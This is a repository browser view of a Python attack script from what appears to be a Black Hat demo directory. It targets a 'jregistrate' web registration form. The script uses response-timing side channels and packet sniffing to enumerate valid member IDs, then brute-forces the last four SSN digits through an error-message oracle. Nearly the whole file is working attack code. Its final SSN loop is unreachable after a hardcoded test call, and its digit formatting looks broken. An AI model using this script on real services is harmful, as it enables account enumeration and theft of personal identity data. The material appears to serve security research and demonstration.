source: test/blackhat-demo/jregistrate-attack @ 15

Last change on this file since 15 was 15, checked in by tim, 9 years ago

.

  • Property svn:executable set to *
File size: 5.4 KB
RevLine 
[15]1#!/usr/bin/env python3
2#-*- mode: Python;-*-
3
4import sys
5import os
6import time
7import random
8import tempfile
9import argparse
10import socket
11import json
12import functools
13try:
14    import requests
15except:
16    sys.stderr.write('ERROR: Could not import requests module.  Ensure it is installed.\n')
17    sys.stderr.write('       Under Debian, the package name is "python3-requests"\n.')
18    sys.exit(1)
19
20VERSION = "{DEVELOPMENT}"
21if VERSION == "{DEVELOPMENT}":
22    script_dir = '.'
23    try:
24        script_dir = os.path.dirname(os.path.realpath(__file__))
25    except:
26        try:
27            script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
28        except:
29            pass
30    sys.path.append("%s/../../trunk/lib" % script_dir)
31
32from nanownlib import *
33from nanownlib.train import *
34import nanownlib.storage
35
36
37parser = argparse.ArgumentParser(
38    description="")
39parser.add_argument('session_data', default=None,
40                    help='Database file storing session information')
41parser.add_argument('host', default=None,
42                    help='IP address or host name of server')
43parser.add_argument('port', nargs='?', type=int, default=8080,
44                    help='TCP port number of HTTP service (default: 8080)')
45options = parser.parse_args()
46
47
48hostname = options.host
49port = options.port
50protocol = 'http'
51
52
53def extractReportedRuntime(headers, body):
54    try:
55        if 'X-Response-Time' in headers:
56            t = headers['X-Response-Time'].split('ms')[0]
57            return int(float(t)*1000000)
58    except:
59        pass
60
61    return None
62
63
64def sendRequest(data=None):
65    method = 'POST'
66    path = '/jregistrate/register'
67    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
68    headers = {"Content-Type":"application/x-www-form-urlencoded"}
69    body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321')
70    req = requests.Request(method, url, headers=headers, data=body).prepare()
71
72    retry = True
73    while retry:
74        try:
75            session = requests.Session()
76            response = session.send(req, verify=False)
77            #print(repr(response.raw._original_response.local_address))
78            reported = extractReportedRuntime(response.headers, response.text)
79            retry = False
80        except Exception as e:
81            sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e))
82            time.sleep(1.0)
83            sys.stderr.write("ERROR: retrying...\n")
84        #print(data.encode('utf-8'), reported)
85       
86    return {'userspace_rtt':response.elapsed.microseconds*1000,
87            'reported':reported,
88            'local_port':response.raw._original_response.local_address[1]}
89
90
91def fetch(probedata, data):
92    #   http://docs.python-requests.org/en/latest/api/#requests.Response
93    result = sendRequest(data)
94    result.update(probedata)
95   
96    return result
97
98
99def findMaxSampleID(db):
100    cursor = db.conn.cursor()
101    cursor.execute("SELECT max(sample) FROM probes")
102    return cursor.fetchone()[0]
103
104
105setCPUAffinity()
106setTCPTimestamps()
107host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records?
108db = nanownlib.storage.db(options.session_data)
109
110cases = {"invalid":"0012-9999"}
111guesses = [("0012-%d"%id) for id in range(0,9999) if id != 2019]
112random.shuffle(guesses)
113num_observations = 100
114trim = (0,0)
115classifier = "septasummary"
116params = {"distance": 25, "threshold": 40094.274}
117classifierTest = functools.partial(classifiers[classifier]['test'], params, True)
118
119
120sid = findMaxSampleID(db) + 1
121for guess in guesses:
122    print("Collecting samples for:", guess)
123    cases["valid"] = guess
124    stype = "attack_%s" % guess
125    sample_order = list(cases.items())
126
127    sniffer_fp = tempfile.NamedTemporaryFile('w+t')
128    sniffer = startSniffer(host_ip, port, sniffer_fp.name)
129    time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated
130
131    for obs in range(num_observations):
132        random.shuffle(sample_order)
133        now = int(time.time()*1000000000)
134       
135        results = []
136        for i in range(len(sample_order)):
137            results.append(fetch({'sample':sid, 'test_case':sample_order[i][0],
138                                  'type':stype, 'tc_order':i, 'time_of_day':now},
139                                 sample_order[i][1]))
140        db.addProbes(results)
141        db.conn.commit()
142        sid += 1
143
144    time.sleep(2.0) # Give sniffer a chance to collect remaining packets
145    stopSniffer(sniffer)
146    associatePackets(sniffer_fp, db)
147    sniffer_fp.close()
148    num_probes = analyzeProbes(db, trim=trim)
149    print("num_probes: ", num_probes)
150
151    if classifierTest(db.subseries(stype, "valid")):
152        print("Found valid member_id: ", guess)
153        break
154
155
156def guessSSN(member_id, last_four):
157    method = 'POST'
158    path = '/jregistrate/register'
159    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
160    headers = {"Content-Type":"application/x-www-form-urlencoded"}
161    body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321')
162    req = requests.Request(method, url, headers=headers, data=body).prepare()
163    session = requests.Session()
164    response = session.send(req, verify=False)
165
166    if 'Bad password' in response.text:
167        return True
168    else:
169        return False
170
171   
172print(guessSSN('0012-5969', '4298'))
173sys.exit(0)
174
175for last_four in range(9999):
176    if guessSSN(guess, "%4d" % last_four):
177        print("Found valid SSN last four digits:", last_four)
178        break
Note: See TracBrowser for help on using the repository browser.